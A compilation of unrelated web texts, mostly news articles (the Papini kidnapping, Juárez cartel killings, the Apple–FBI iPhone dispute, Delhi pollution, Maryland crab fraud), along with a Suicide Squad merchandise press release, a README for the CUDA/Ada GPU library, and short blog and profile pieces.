-After two months, detectives have few details on who kidnapped Sherri Papini while she was jogging in her quiet town in Northern California.  Part of the reason for this lag is because there have been three high profile cases since November 2 around Redding distracting from the Papini case.  On December 21, the Shasta County Sheriff's office was busy searching for the man who walked into a gas station and set clerk David Wicks on fire. Mr Wicks burned to death and the horrific crime garnered national attention.  Scroll down for video  Police do not have many leads on who kidnapped Sherri Papini (above with her husband and children before her abduction) two months after she was abducted  Sherri Papini (pictured with her husband) told police she was taken while jogging in Yolo county by two Hispanic women  Juan Manuel Venegas was arrested for his murder yesterday.  The department also took on an investigation where Redding police shot and killed a man on November 16.  David Wicks was killed at a gas station where he worked in Burney  They are also chasing down Justin Ryan Mulliken in connection with a January 9 shooting.  However, Sheriff Tom Bosenko told the Record Searchlight that Mrs Papini's case is still a 'top priority.'  He told the paper: 'We are waiting on some of the results on the evidence being processed by the California Department of Justice.'  Mrs Papini and her husband Keith have stayed away from the public eye but were spotted out earlier in January.  Sheriff Bosenko said: 'I can’t speak to more recently, but even initially we had asked Mr Papini to refrain from media interaction and especially after she was found, with some of the information he was releasing.'  Security footage shows the attacker walking into the gas station where he set David Wicks on fire. Juan Manuel Venegas was arrested for the murder yesterday.  On January 10, Mrs Papini was spotted out Severe bruising on her face appeared to have healed but there was no glimpse of her long blonde hair which her husband said had been chopped off by her captors.  Keith Papini kept his gaze to the ground as he followed his wife outside, carrying their young daughter in one arm.  The family moved out of the house in December as police hunted Sherri's captors.  Keith said it had been too difficult for her to remain there after her ordeal.  He was initially cleared as a suspect in her disappearance after passing a polygraph test but police have since refused to rule him out again.  Saturday's outing was the first time Sherri has been seen publicly since she was found bound, beaten and gagged on the side of the road by a passing motorist on November 24.  Sherri Papini was seen for the first time on January 10 leaving her home in Redding, California, since being kidnapped and held hostage for three weeks. The 34-year-old emerged with her husband Keith and their two children  Happier times: Sherri Papini smiles with husband Keith before the November kidnapping  She emerged only to fill up a small red tray with water before returning to the house, The New York Post reported.  Sherri went missing on November 2 when she was abducted during a routine run in the area and held hostage by two armed Hispanic women.  Her husband reported her disappearance when she failed to pick their children up from school. Her cell phone and ear buds were later found on the running track she used.  The 34-year-old vanished on November 2 and was held captive for three weeks before she was found on the side of the road on November 24. Above, she is seen making her way out of the house on Saturday  She was tortured and starved by her captors, whose faces she never saw, before being dumped by the side of the road on Thanksgiving.  The sheriff's office was forced to deny claims they thought her story was a hoax in December after a rogue officer suggested worries it may have been invented.  No definitive motive for the mother's kidnapping has been given or suggested.  While she was still missing, a 'negotiator' working on behalf of a mysterious donor made several offers to those keeping her captive.  At one stage the reward for her return was as much as $100,000 but the ransom was pulled before she was released.  Keith Papini pleaded for privacy after his wife's return and slammed 'disgusting' skeptics who labeled her disappearance a hoax.  He described the black and yellow bruises across her body when she was first brought to hospital and how she had shrunk to 87lbs.  'Her now emaciated body of 87 pounds was covered in multi colored bruises, severe burns, red rashes, and chain markings.  'Her signature long, blonde hair had been chopped off.  'She has been branded and I could feel the rise of her scabs under my fingers. She was thrown from a vehicle with a chain around her waist, attached to her wrists and a bag over her head.
-Shadow McClaine  Skeletal remains discovered Monday in Tennessee have been identified as belonging to missing Fort Campbell soldier Shadow McClaine, who disappeared in early September.  The remains were discovered off Interstate 24 in Robertson County, Tennessee Monday, according to the Tennessee Bureau of Investigation. They were positively identified as belonging to Shadow on Wednesday.  A cause of death has not yet been determined. No other details were available to be released.  The discovery comes several months after two fellow soldiers were charged in connection with Shadow's disappearance.  Sgt. Jamal Williams-McCray and Specialist Charles Robinson, both part of the 101st Airborne Division, in which Shadow served as a private, first class, face charges of conspiracy, kidnapping and premeditated murder under the Uniform Code of Military Justice, according to NBC affiliate WSMV.  Williams-McCray is Shadow's ex-husband. It's unclear if Robinson knew Shadow.  Related: Two Soldiers Charged with Murder in Connection with Disappearance of Fellow Soldier Shadow McClaine  The last time anyone heard from Shadow, who is also known as Branice Willis, was through a text message the evening of September 2, 2016. She had told her mother earlier that she was supposed to house sit for a friend. The two also exchanged texts later that night.  Friend and family members became concerned when Shadow stopped responding to calls and texts. The following week, authorities located her 2013 silver Hyundai Elantra in a parking lot in downtown Nashville.  Rumors quickly swirled around Shadow's disappearance, with many focusing on what her family said was a tumultuous relationship with her ex-husband Williams-McCray.  Shadow was facing charges of stalking and contempt of court at the time of her disappearance, according to The Leaf-Chronicle. Her mother told Dateline those charges were in relation to her daughter's divorce from Williams-McCray.  "She's not totally innocent in all this, but it is not all her either," Shadow's mother London Wegrzyn told Dateline in September. "And she's been trying to clean herself from it. The people posting don't have all the facts, and are trying to paint my daughter as a villain."  Shadow's mother told Dateline that before she disappeared, Shadow was looking forward to moving back to home to California.  Shadow was featured in Dateline's social and digital series Missing in America series shortly after her disappearance in September.
-Iconic Super-Villains of the DC Universe Take Over Movie Theaters this Summer on August 5, 2016  Burbank, Calif. – June 8, 2016 – This summer, Super-Villains will take over in the highly anticipated big screen action adventure Suicide Squad, marking the theatrical debut of some of the most beloved bad guys in the DC Universe, including Deadshot™, Harley Quinn™, Killer Croc™, Katana™ and Enchantress™, and bringing back to the big screen one of the most dangerous villains of all time, The Joker™. The Super-Villains will unite in an action-packed adventure that will have moviegoers on the edge of their seats, and Warner Bros. Consumer Products (WBCP) has done some teaming up of its own, partnering with its licensees around the world for its global licensing and merchandising program in support of the film. Written and directed by David Ayer and from Warner Bros. Pictures, Suicide Squad hits theaters August 5, 2016.  “Suicide Squad marks the theatrical debut of several of the most recognized, fan-favorite DC Super-Villains, and these iconic characters offer WBCP a unique opportunity to create a robust merchandising program aimed at the adult collector via partnerships with the some of the most renowned licensees in the industry,” said Pam Lifford, President, Warner Bros. Consumer Products.  In support of the electrifying film’s motley crew, Suicide Squad fans can show off in a variety of unique Suicide Squad-inspired apparel and accessories collections by Hot Topic and Bioworld Merchandising; fashion tops and t-shirts from Junk Food Clothing and Trevco; athletic wear by Under Armour; a high-end leather assortment by Matchless London; fan-favorite footwear from Converse; and timepieces from Accutime Watch Corp. Fans can also become their favorite character with role-play outfits and accessories from Rubie’s Costume Co. and Party City.  Collectors can look forward to a number of intricately detailed toys and figures highlighted by a line of Multiverse figures from Mattel; stylized figures from Funko; vehicle replicas from Jada Toys; in addition to “as-seen-on” prop replicas from eFX; and toys and accessories from JLA Direct. Truly devoted fans will be able to show their allegiance to the Squad with electronic accessories and mobile skins from Skinit Acquisition.  HarperCollins Publishers and Titan Publishing will support Suicide Squad with a number of print-published works, and Hallmark, Huckleberry Toys, Trend Setters, Fashion Accessory Bazaar and Underground Toys offer various paper products.  Suicide Squad-inspired décor, accessories and novelty items from top brands including Noble Collection, Franco Manufacturing, Trends International, and more, will round out any fan’s home.  Suicide Squad merchandise tailored to local markets will also be available across Europe, the Middle East and Asia (EMEA), Latin America and Asia-Pacific, with many partners supporting the action film around the world with robust programs including apparel from Mauritius, Primark, and United Labels, accessories, novelty items from Groovy UK, Forbidden Planet, GB Eye and more; as well as Suicide Squad-inspired programs from Movis and Industrias Darks.  Products inspired by Suicide Squad will roll out worldwide in June and are available online at www.ShopDCEntertainment.com/SuicideSquad.  About Suicide Squad  From director David Ayer (Fury, End of Watch) comes Suicide Squad, starring Oscar nominee Will Smith (Ali, The Pursuit of Happyness), Oscar winner Jared Leto (Dallas Buyers Club), Margot Robbie (The Wolf of Wall Street, Focus), Joel Kinnaman (Netflix’s House of Cards) and Oscar nominee Viola Davis (The Help, Doubt).  It feels good to be bad… Assemble a team of the world’s most dangerous, incarcerated Supervillains, provide them with the most powerful arsenal at the government’s disposal, and send them off on a mission to defeat an enigmatic, insuperable entity. U.S. intelligence officer Amanda Waller has determined only a secretly convened group of disparate, despicable individuals with next to nothing to lose will do. However, once they realize they weren’t picked to succeed but chosen for their patent culpability when they inevitably fail, will the Suicide Squad resolve to die trying, or decide it’s every man for himself?  Written and directed by Ayer based on the characters from DC, the film also stars Jai Courtney (Insurgent), Jay Hernandez (Takers), Adewale Akinnuoye-Agbaje (Thor: The Dark World), Ike Barinholtz (Neighbors), Scott Eastwood (Fury), Cara Delevingne (Paper Towns), Adam Beach (Cowboys & Aliens), and Karen Fukuhara in her feature film debut. It is produced by Charles Roven and Richard Suckle, with Zack Snyder, Deborah Snyder, Colin Wilson and Geoff Johns serving as executive producers.  Warner Bros. Pictures presents, an Atlas Entertainment production, a film by David Ayer, Suicide Squad. The film will be distributed worldwide by Warner Bros. Pictures, a Warner Bros. Entertainment Company. The film opens worldwide in 3D, and in 2D, and in select IMAX 3D theaters beginning August 5, 2016.  Click to enlarge:
-'The Session may be shifted to southern part of our nation so that our northern friends can come to South India and enjoy food and climate which is free from pollution', the MP said  New Delhi’s alarming pollution levels appears to be suffocating the political class. AIADMK’s Rajya Sabha MP Navaneethkrishnan on Thursday demanded that Parliament session be shifted to the south, declaring the capital is not fit for human inhabitation.  “Everyone is living in fear in Delhi. It has become a gas chamber and is no longer fit for human inhabitation,” said Navaneethakrishnan.  The AIADMK MP’s statement was made during a debate in the Rajya Sabha on New Delhi’s pollution levels.  Stating that it is a Constitutional right to have a life free of pollution, Navaneethakrishnan said, “Article 48A of the Constitution says that the state shall endeavour to protect and improve the environment, and safeguard the forests and wildlife of the country. Though it is in a chapter of directive principles, thanks to the recent Supreme Court judgment, it is an enforceable right.”  He urged his fellow parliamentarians to shift the session to the south, noting, “To save Delhi, subject to correction and approval by this House, the Session may be shifted to southern part of our nation so that our northern friends can come to South India and enjoy food and climate which is free from pollution. So, I welcome all the northern friends to South India and have a good, peaceful and effective Session."  Besides being good for their overall health, the AIADMK MP pointed out that it would be good for national integration, arguing, “Delhi is not good for inhabitation. Definitely, it cannot be. Everybody is making use of it, polluting it and going back to their native places. So, my humble submission is that any one of the Sessions may be held in Nagpur, Bengaluru, Chennai, Hyderabad, Mumbai, or anywhere else. It is also very useful for national integration. I hope that our Central Government is doing all the work, or, taking all the steps to prevent the air pollution, but changing the venue of Session may also be considered as one of the plans to prevent air pollution in Delhi.”  Navaneethakrishnan also pointed out that AIADMK founder and former CM MG Ramachandran had in the past demanded that the Supreme Court be shifted to Nagpur to allow make it more accessible for those across the country. "Once our leader, Puratchi Thalaivar M.G. Ramachandran, vehemently argued for shifting our Supreme Court of India to Nagpur or any other central place of India. His point was that poor people cannot be made to travel such a long distance to Delhi and it was rebutted by Mr. Ram Jethmalani. I attended that meeting. That is only for the sake of convenience that I am making this point," he said.  New Delhi has been blanketed in thick smog for several weeks, with pollution levels skyrocketing to alarmingly dangerous levels. On Thursday, Delhi’s air pollution was reported to be “very poor”, with the air quality index at 378.
-CUDA/Ada is an Ada binding to NVIDIA’s CUDA parallel computing platform and programming model. This project was developed during the course of the master seminar "Program Analysis and Transformation" at the University of Applied Sciences Rapperswil. Licence Copyright (C) 2011, 2012 Reto Buerki  Copyright (C) 2011, 2012 Adrian-Ken Rueegsegger  University of Applied Sciences Rapperswil This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Documentation The paper about CUDA/Ada can be found here: http://www.codelabs.ch/cuda-ada/cuda-ada-article.pdf. Download Release version The current release version of CUDA/Ada is available at http://www.codelabs.ch/download/. Verify a Release To verify the integrity and authenticity of the distribution tarball, import the key http://www.codelabs.ch/keys/0xBB793815pub.asc and type the following command: $ gpg --verify libcudaada-{version}.tar.bz2.sig The key fingerprint of the public key (0xBB793815) is: Key fingerprint = A2FB FF56 83FB 67D8 017B C50C F8C5 F8B5 BB79 3815 Development version The current development version of CUDA/Ada is available through its git repository: $ git clone http://git.codelabs.ch/git/cuda-ada.git A browsable version of the repository is also available here: http://git.codelabs.ch/?p=cuda-ada.git. Build To compile CUDA/Ada on your system, you need to have the following software installed: GNAT compiler: http://www.gnu.org/software/gnat/gnat.html  Ahven (Test-Framework): http://ahven.stronglytyped.org/  CUDA Toolkit for Linux 10.10: http://developer.nvidia.com/cuda-downloads  NVIDIA Developer Drivers for Linux: http://developer.nvidia.com/cuda-downloads  Template parser module from AWS project: http://libre.adacore.com/tools/aws/ Testing CUDA/Ada contains an unit test suite which can be run by entering the following command: $ make tests Of course, you need a CUDA aware GPU for this to work. Benchmarks CUDA/Ada provides benchmarking code that measures matrix addition and multiplication in Ada, CUDA/Ada and native CUDA C. The benchmarks can be run by issuing the following command: $ make perf COUNT=20 This will print the cumulated execution times of twenty successive matrix operations for the different implementations. The chart shows the cumulated execution times (in seconds) of performing a matrix multiplication operation on a 512 by 512 matrix 20 times. All CUDA implementations used the same kernel, a grid size of 32 and a block size of 16. Slides The slides of the presentation about CUDA/Ada held on January 12, 2012 as part of the master seminar at the University of Applied Sciences Rapperswil can be downloaded here. Example -- -- Copyright (C) 2011 Reto Buerki  -- Copyright (C) 2011 Adrian-Ken Rueegsegger  -- University of Applied Sciences Rapperswil -- -- This program is free software: you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation, either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see . -- with Ada . Text_IO ; with Ada . Numerics . Real_Arrays ; with CUDA . Autoinit ; with CUDA . Compiler ; pragma Unreferenced ( CUDA . Autoinit ); procedure Add is use CUDA ; package Real_Vector_Args is new Compiler . Arg_Creators ( Data_Type => Ada . Numerics . Real_Arrays . Real_Vector ); use Real_Vector_Args ; N : constant := 32 * 1024 ; A : Ada . Numerics . Real_Arrays . Real_Vector := ( 1 .. N => 2.0 ); B : Ada . Numerics . Real_Arrays . Real_Vector := ( 1 .. N => 2.0 ); C : aliased Ada . Numerics . Real_Arrays . Real_Vector := ( 1 .. N => 0.0 ); Src : Compiler . Source_Module_Type ; Func : Compiler . Function_Type ; Module : Compiler . Module_Type ; begin Src := Compiler . Create ( Preamble => "#define N" & N'Img , Operation => "__global__ void add( float *a, float *b, float *c ) {" & " int tid = blockIdx.x;" & " while (tid < N) {" & " c[tid] = a[tid] + b[tid];" & " tid += gridDim.x;" & "}}" ); Module := Compiler . Compile ( Source => Src ); Func := Compiler . Get_Function ( Module => Module , Name => "add" ); Func . Call ( Args => ( 1 => In_Arg ( Data => A ), 2 => In_Arg ( Data => B ), 3 => Out_Arg ( Data => C' Access ))); for I in C' Range loop if C ( I ) /= A ( I ) + B ( I ) then raise Program_Error with "Results mismatch" ; end if ; end loop ; Ada . Text_IO . Put_Line ( "Calculation successful" ); end Add ;
-First, we discovered that the fish in our sushi isn’t what it claims to be; then, that 30% of U.S. shrimp is making fools of us. Now, a new report from the conservation group Oceana finds that your tasty Maryland crab cake isn’t safe from seafood fraud, either. A full 38% of Maryland crab cakes the group tested contained imported crab from places as far away as Indonesia and Thailand instead of Maryland blue crab.  “Local rare delicacies in seafood are frequently mislabeled because they’re not widely available,” says Dr. Kimberly Warner, report author and senior scientist at Oceana. “Once you take off the shell of the blue crab and mix it into a patty, it’s hard to tell what it is you’re eating.”  Warner and her colleagues went to restaurants in the Maryland and Washington DC area and collected 90 crab cakes. The researchers sent them to a lab for DNA testing to determine the species of the crab in the cakes. 38% of the crab cakes sold as local blue crab didn’t contain any local blue crab at all; instead, they were stuffed with imported canned swimming crab, mostly from the Indo-Pacific region. The scientists identified eight species, besides blue crabs, in the supposedly blue crab cakes.  MORE: 2,500 Tons of the Food We Eat Is Fake  The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now  The researchers found fraud regardless of a venue’s price point. And all that fraud is economically motivated, Warner says. When menus described jumbo lump crab cakes as coming from Maryland, they were $2.12 higher than those that didn’t specify a region.  Your chances of getting actual Maryland blue crab varied depending on where geographically you dined in or around Maryland. Nearly half of crab cakes found in Annapolis and Baltimore were mislabeled. Ocean City and Washington, D.C., had “fraud” levels of about 38%. Your best chance of getting a real Maryland crab cake is on the Eastern Shore, the researchers found, where only one crab cake out of 11 was mislabeled.  “This is kind of a not-so-secret secret in this area,” says Steve Vilnit, Director of Fisheries Marketing director for the Maryland Department of Natural Resources and a contributor to the report. “Maryland does not produce enough crabmeat to supply all the restaurants in the region…but many consumers—tourists and even locals—come to this area and think they’re buying local crab meat because we’re simply in Maryland.” The sad fact, he says, is that not many restaurants use local crab meat.  Maryland blue crab is considered a “best choice” or “good alternative” according to the Monterey Bay Aquarium’s Seafood Watch 2015 recommendations. Ironically, though, it’s often substituted with crab the same regulations mark “avoid”, due to the use of destructive fishing gear like bottom trawling, an industrial fishing method that ensnares any kind of marine species caught in its path.  In March, a presidential task force released an action plan to combat seafood mislabeling and illegal and unregulated fishing, including starting a traceability program and getting rid of harmful fishery subsidies that fuel overfishing by 2020.  In the meantime, however, steering clear of seafood fraud is largely up to you.”We always say to ask more questions from whoever you’re buying your seafood from, whether a restaurant or grocery store or market,” says report author Warner. “If the people who sell us seafood don’t understand that we care about that information, then they’re not going to provide it.”  Buy traceable seafood, the study authors say, which follows fish from where it’s caught or farmed up until it arrives on your plate, when you can, she says.  Write to Mandy Oaklander at mandy.oaklander@time.com.
-Mr. Chávez told the police that he had been informed that Ms. Enriquez would be traveling in a white sport utility vehicle, so the hitmen opened fire on her vehicle and a similar one returning from the same party. The Mexican husband of another consular employee, riding in the second car, was also killed.  Mr. Chávez’s story — that Ms. Enriquez’s killing had been ordered because she helped members of a rival gang obtain visas — contradicts both her official job description and the motive offered by another suspect.  Photo  American officials have said that Ms. Enriquez worked in the office that helps United States citizens and had no authority over visas.  Another suspect arrested shortly after the killings, Ricardo Valles de la Rosa, said the target of the shooting was Ms. Enriquez’s husband, Mr. Redelfs. Newspapers in El Paso and Juárez reported that gang leaders wanted to kill him because they said he had tormented a gang member in the El Paso County Jail.  Both Mr. Chávez and Mr. de la Rosa belong to Los Aztecas, a cross-border gang that works for La Linea. Mr. Chávez, whom the police described as a leader of the gang, was arrested with six other suspects, also believed to be members of the gang, in a raid in Ciudad Juárez on Thursday.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Mr. Chávez had served five years in prison in Louisiana on a drug charge, the police said. He was arrested in April 2008 by the Mexican Army on drug charges and later released. He also confessed that he was part of a group of gunmen that attacked a teenagers’ party at the end of January, killing 15 people. Mr. Chávez told the police that his group had mistakenly believed the people at the party were members of a rival gang, known as the Artists Assassins, or Double-A.  Andrea Simmons, a spokeswoman for the F.B.I. in El Paso, said she had no additional information about the arrest. “We’re working with Mexican authorities as part of a joint investigation,” she said.  The gun battle that killed 21 people took place about 4 a.m. Thursday about 12 miles from the Arizona border in a remote area often used for smuggling drugs and migrants. The authorities said they captured nine suspects, six of them wounded, plus eight vehicles and seven weapons.  Farther east, near the Texas border, gunmen shot at a sport utility vehicle late Wednesday night that was carrying the Chihuahua State prosecutor, Sandra Salas García, and her two bodyguards. Ms. García, 38, who was in charge of highly delicate internal investigations in Ciudad Juárez, was killed. One of the bodyguards was also killed and the other was seriously wounded.  Advertisement Continue reading the main story  More than 23,000 people have been killed in drug-related violence since late 2006, when President Felipe Calderón came to office vowing to stem the rising power of the drug trafficking organizations. The violence has spiked in recent months, according to tallies compiled by the Mexican news media, with the killing of a gubernatorial candidate in Tamaulipas on Monday provoking particular outrage.
-The Coalition government’s new citizenship test appears to include talking points that might have been prepared by the coal industry in defending their role in climate change.  Details of the extraordinarily complex reading material that new citizens are being asked to comprehend, in preparation for their citizenship tests, have been revealed in The Australian newspaper, which was concerned by the level of complexity in the language.  What struck us at RenewEconomy from the examples used by The Australian was the nature of the content. It looked like marketing spiel from the coal industry, so we checked it out further.  Take this, for example:  “The worldwide coal industry allocates extensive resources to researching and developing new technologies and ways of capturing greenhouse gases. Efficiencies are likely to be improved dramatically, and hence CO2 emissions reduced, through combustion and gasification techniques which are now at pilot and demonstration stages.”  And then there is this:  “Clean coal is another avenue for improving fuel conversion efficiency. Investigations are under way into super-clean coal (35 per cent ash) and ultraclean coal (less than 1 per cent ash). Super-clean coal has the potential to enhance the combustion efficiency of conventional pulverised fuel power plants.” And on it goes. You can read more here. But having absorbed this, the hopeful new citizen is then given some practice multiple choice questions. Such as:  And then:  Now, we wouldn’t want any new citizens to get any fancy ideas about wind and solar, would we? But would anyone care to hazard a guess as to what the correct answers are? The truth or the marketing?  It makes us think if there was a real test about climate change and coal, some of the Coalition’s most prominent climate deniers, as well as the likes of One Nation’s Malcolm Roberts, should be thankful that they are already citizens.  In fact, we suspect that Dutton himself might struggle to pass the test. Someone alert passport control!  (Note: We’ve updated the second screenshot).
-These structures have always fascinated me.  They were usually built sometime between the 9th and 12th centuries. They were generally part of monasteries and while they were built to stand alone some have been incorporated into later buildings. They are surprisingly uniform in design with circumferences at the base usually between 14 and 17 m and wall thickness from 0.9m and 1.7m. They also almost all have doors raised above the ground at least 3 m and they have at least four windows at the top, each of which often faces a cardinal point, along with more windows at lower levels in the tower. Most stand at close to 100 feet. There is a possibility that the dimensions were determined by the role of certain numbers in christian theology. They also had several levels connected by ladders. Additionally it is worth noting that the surviving conical tops were often reconstructed in later time periods.  Debate still continues as to their purpose. It is possible that they were simply bell towers, part of the system of the call to prayer with the height made necessary by the size of the ecclesiastical sites. They may have also been symbols reaching towards the glory of God and illustrating the importance of the ecclesiastical site, conveying messages of spiritual and temporal power. There is also an argument, though currently thought of as a little less likely, that they were watch towers and were part of defence systems. They may have been built partly as a response to Viking and other attacks. The monks would have been able to climb in, store their treasures, burn the stairs to the door, keep the raiders out and possibly ring bells from the top of the tower to call for assistance. Essentially no one is absolutely certain as to their purpose. It is also plausible that there were multiple purposes, combinations of the possibilities listed above.  They are immense structures though, the tallest at Kilmacduagh stands at 102 feet and is on a slight lean. They are beautiful and a testament to the ability of their builders as there are over thirty still standing in varying states of repair across Ireland.  Below you can see examples from all around Ireland of these beautiful and truly intriguing buildings.  Glendalough Round Tower built between 900 and 1200.  Glendalough Round Tower.  St Canice’s Cathedral and Round Tower. Built c. 1111.  View from St Canice’s Round Tower.  Interior of St Canice’s Round Tower. It’s one of the only Round Towers you can climb.  Kilmacduagh Round Tower c. 10th century.  Kilmacduagh Round Tower.  The taller of Clonmacnoise’s two Round Towers c. 12th century.  The taller of Clonmacnoise’s two Round Towers.  The shorter of Clonmacnoise’s two Round Towers c. 12th century.  Round Tower at Drumlane Abbey c. 10th- 11th century with c. 15th century additions.  Round Tower at Drumlane Abbey.  Kells high cross and Round Tower. The Round Tower dates to 10th century.  Kells Round Tower.  Monasterboice Round Tower 10th century.  Monasterboise high cross and Round Tower.  Donaghmore church and Round Tower 11th-12th century.  Donaghmore Round Tower  Lusk church and Round Tower c. 11th century.  Lusk Round Tower  Cashel Round Tower c. 11th century.  Cashel Round Tower.  You can see the astounding similarity in all these towers. They truly stand as a testament to the immense skill of their builders and will, I’m sure, continue to fascinate people well into the future.  For more information see  This truly excellent article by Russell Ó Ríagáin which also investigates the possible influences in the building of the round towers.  https://www.academia.edu/399978/The_Round_Towers_of_Ireland_Date_Origins_Functions_and_Symbolism  For some more general information  http://www.roundtowers.org/  http://www.catholicireland.net/irelands-round-towers/  all the photos are mine.
-A few weeks ago I learned that I had been chosen for the inaugural Booktrust Lifetime Achievement Award.  I was, of course, delighted. I told my wife, told my daughter and ran around the house. Then I discovered that the award was sponsored by Amazon and felt obliged to refuse it. The award was to be presented, along with many others, also Amazon- sponsored, at Booktrust’s recent Best Book event.  The Amazon sponsorship deal is a mistake. Amazon’s baleful influence on the British book trade is frequently referred to—see also what’s happening with Hachette in America—but it is its position as “The UK’s No1 Tax Avoider” (Ethical Consumer) that bothers me.  Tax, fairly applied to us all, is a good thing. It pays for schools, hospitals—libraries! When companies like Amazon cheat—paying 0.1% on billions, pretending it is earning money not in the UK, but in Luxembourg— that’s a bad thing. We should surely, at the very least, say that it is bad and on no account give it any support or, by association, respectability.  Booktrust does good work and has a well-deserved reputation. Amazon, via its sponsorship, gets up close to Booktrust and hopes that some of this rubs off. Sadly, I’d say, it also works the other way: Amazon sponsors Booktrust; Booktrust sponsors Amazon, and all of us— writers, illustrators, publishers, judges—get drawn in. For my part, the idea that my “lifetime achievement”— i.e. the books (and all of Janet’s work too)—should have the Amazon tag attached to it is unacceptable.  It’s a miserable business with no easy way out. Amazon’s defence is that it is not breaking any laws, but could Booktrust not have found a more moral sponsor? Could we do without sponsors? “The Shoestring Book Awards”, perhaps, paid for by the book trade itself.  Or something, anything, rather than this unhappy entanglement.
-The boss of one of Scotland’s leading theatres has quit days after a damning article in The Scotsman raised serious concerns over how it is being run.  Nick Parr has resigned after just two years as chief executive of Dundee Rep, which boasts the country’s only full-time company of actors.  He has left with immediate effect less than two months after the Rep’s new artistic director, Andrew Panton, took charge of his first show. He has quit his role, which also saw him in charge of Scottish Dance Theatre, weeks before Dundee bids to become 2023 European Capital of Culture.  Earlier this year Mr Parr had hailed the financial performance of Dundee Rep and Scottish Dance Theatre, including rises in turnover and operating profit, and a 17 per cent boost at the box office.  However Kirsty Gunn’s opinion column in The Scotsman last Monday told how the company had been left “devastated and depressed” by cuts in its production department. She raised concerns of a growing culture “replacing creativity with bureaucracy, artists and intellectuals with managers”.  Mr Parr arrived at the Rep, which dates back to 1939, in September 2015 after previously working as commercial director at a trust running the Festival Theatre and King’s Theatre in Edinburgh.  It was the first time Dundee Rep had decided to split the post of chief executive and artistic director. However, the then holder of the latter post, Jemima Levick, announced her departure to another theatre company, Stellar Quines, less than six months later.  Mr Panton, who was allowed to combine his Dundee Rep role with an existing job as artistic director of musical theatre at the Royal Conservatoire of Scotland in Glasgow, has been appointed interim joint chief excutive of the theatre, along with SDT’s artistic director, Fleur Darkin.  An official statement said: “Nick Parr has left his role as chief executive of Dundee Rep and Scottish Dance Theatre Ltd to pursue other opportunities. Andrew Panton and Fleur Darkin have been appointed interim joint chief executives.”  Ed Troughton, chair of the board, said: “We would like to thank Nick for his hard work and we wish him all the best. Andrew and Fleur will work with a strong and experienced senior management team to lead the organisation, and will report directly to the board.  “The other trustees and I are currently reviewing the structure and governance of the organisation to ensure we are in the strongest possible position for the future.”  Joyce McMillan, The Scotsman’s theatre critic, said: “It was a big shift for Dundee Rep to move away from the way the theatre had traditionally been run and it does not appear to have worked out. There has been unhappiness within the company and problems with productions.”
-WASHINGTON – Apple Inc. will tell a federal judge this week in legal papers that its fight with the FBI over accessing a locked and encrypted iPhone should be kicked to Congress, rather than decided by courts, The Associated Press has learned.  Apple will also argue that the Obama administration’s request to help it hack into an iPhone in a terrorism case is improper under an 18th-century law, the 1789 All Writs Act, which has been used to compel companies to help law enforcement in investigations.  A lead attorney for Apple, Theodore J. Boutrous Jr., previewed for the AP some of the company’s upcoming arguments in the case. Apple’s chief executive, Tim Cook, has also hinted at the company’s courtroom strategy.  Apple’s effort would move the contentious policy debate between digital privacy rights and national security interests to Congress, where Apple wields considerably more influence. Apple spent nearly $5 million lobbying Congress last year, mostly on tax and copyright issues. Key lawmakers have been openly divided about whether the government’s demands in the case go too far.  U.S. Magistrate Judge Sheri Pym in Riverside ordered Apple last week to create specialized software to help the FBI hack into a locked, county-issued iPhone used by a gunman in the Dec. 2 mass shootings in San Bernardino. Syed Rizwan Farook and his wife, Tashfeen Malik, killed 14 people at an office holiday party in an attack at least partly inspired by Islamic State.  White House spokesman Josh Earnest this week called the government’s request narrow. Earnest said the magistrate judge “came down in favor of our law enforcement” after evaluating arguments by Apple and the FBI. Apple hasn’t yet made any filings in the case because the Justice Department asked the magistrate to rule before Apple had an opportunity to object.  “Sending complicated things to Congress is often not the surest way to get a quick answer,” Earnest said.
-KYLE RUDOLPH - LAROSA'S MVP OF THE WEEK WINNER NAME: Kyle Rudolph  SCHOOL: Elder High School  SPORT(S): Basketball-Football  GRADUATING YR.: 2008  BIRTHDATE: 11-9-89  HEIGHT/WEIGHT: 6'7" – 240 lbs.  RESIDENCE: Green Township  PARENTS: Dan & Jamie  BIGGEST INFLUENCE: "My grandpa."  FUTURE GOAL: "Play in the NFL."  MVP ACCOMPLISHMENTS: Kyle is a 2-sport superstar in basketball and football. In basketball, he is a 2-time GCL Player of the Year, last season helping the Panthers to a 22-3 record while he led the league in points (17.2), rebounds (11) and blocks (1.5). He was named Cincinnati Div. I Player of the Year and 1st team all-Southwest Ohio district. In football, tight end Kyle during the regular season had 37 receptions for 623 yards and 11 touchdowns for the 7-4 Panthers. He was named 1st team all-league, 1st team all-city, 1st team SWO district and 2nd team all-Ohio. Kyle was also selected to play in the U.S. Army All-American Bowl in San Antonio, Texas. A good student and member of National Honor Society, his favorite athlete is Antonio Gates, favorite movie is Rudy and favorite book is Catcher in the Rye. Kyle will play football next season at the University of Notre Dame.  COACH'S QUOTE -- "Kyle is the true definition of what you would want your son to, not only emulate, but also approach and treat others the way he does. He has grown into one of the finest athletes I have ever coached, and one of the finest people I have known." -- Doug Ramsey, Football Coach
